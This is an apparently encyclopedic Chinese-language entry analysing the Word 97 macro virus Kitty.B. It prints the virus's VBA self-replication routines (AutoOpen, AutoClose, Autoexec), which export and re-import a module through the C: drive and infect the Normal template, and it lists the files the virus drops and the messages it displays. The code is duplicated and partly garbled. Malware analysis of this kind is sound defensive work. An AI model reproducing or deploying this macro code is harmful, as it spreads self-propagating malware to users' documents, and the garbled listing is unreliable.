病毒別名：
處理時間：
威脅級別：★
中文名稱：
病毒類型：宏病毒
影響系統：
病毒行為：
a.病毒複製的方式：
通過模組傳染：
Sub AutoOpen()
On Error Resume Next
If ActiveDocument.VBProject.VBComponents.Item(2).Name = Application.UserInitials Then
If Dir("c:" + Application.UserInitials) <> Application.UserInitials Then
ActiveDocument.VBProject.VBComponents.Item(x).Export ""c:"" + Application.UserInitials
End If
基本介紹
- 中文名：Macro.Word97.Kitty.B
- 病毒類型：宏病毒
- 病毒感染：感染前先進行感染判斷
- 威脅級別：★
定義,套用,
定義
病毒別名：
處理時間：
中文名稱：
影響系統：
病毒行為:
a.病毒複製的方式:
通過模組傳染:
Sub AutoOpen()
On Error Resume Next
If ActiveDocument.VBProject.VBComponents.Item(2).Name = Application.UserInitials Then
If Dir("c:" + Application.UserInitials) <> Application.UserInitials Then
ActiveDocument.VBProject.VBComponents.Item(x).Export ""c:"" + Application.UserInitials
End If
Application.OrganizerDelete Source:=ActiveDocument.FullName, Name:=Application.UserInitials, Object:=wdOrganizerObjectProjectItems
End If
Out:
End Sub
Sub AutoClose()
On Error Resume Next
ActiveDocument.VBProject.VBComponents.Import (""c:"" + Application.UserInitials)
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub ToolsMacro()
End Sub
Sub ViewVBCode()
End Sub
Sub Autoexec()
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Open "c:v1.bas" For Output As 1
Print #1, "Attribute VB_Name = "v1"
Print #1, "Sub AutoOpen()"
Print #1, "ActiveDocument.VBProject.VBComponents.Import ("c:" + Application.UserInitials)
Print #1, "End Sub"
Close 1
NormalTemplate.VBProject.VBComponents.Import ("c:v1.bas")
End If
End Sub
套用
b.病毒感染:
感染前先進行感染判斷：
如果唯讀的 Normal 模板的代碼模組不為空,感染。 c.病毒生成磁碟檔案:
c.1 生成一個 c:True/false.bat (True/false 由Word 處於的特殊模式決定)；
c.2 以用戶名在 C:生成檔案，如 C:Sunboy；
c.3 生成模板檔案 D:Microsoft OfficeOfficeStartupNormalTemplate。
d.病毒對作業系統或者檔案系統進行操作/破壞:
無。 e.病毒會對 Word、Excel 系統進行操作:
對 Word 系統進行操作:
修改 Word 標題：
" VicodinES /TNN /CB "
"Lovei sunboy"
在狀態條上輸出信息：
狀態條顯示15個"VicodinES "
狀態條顯示12個"VicodinES "
狀態條顯示10個" VicodinES "
狀態條顯示 yy = "VicodinES ---> VicodinES VicodinES ........"
狀態條顯示">:-) VicodinES .............." 選定已區域上輸出信息：
“Lovei”
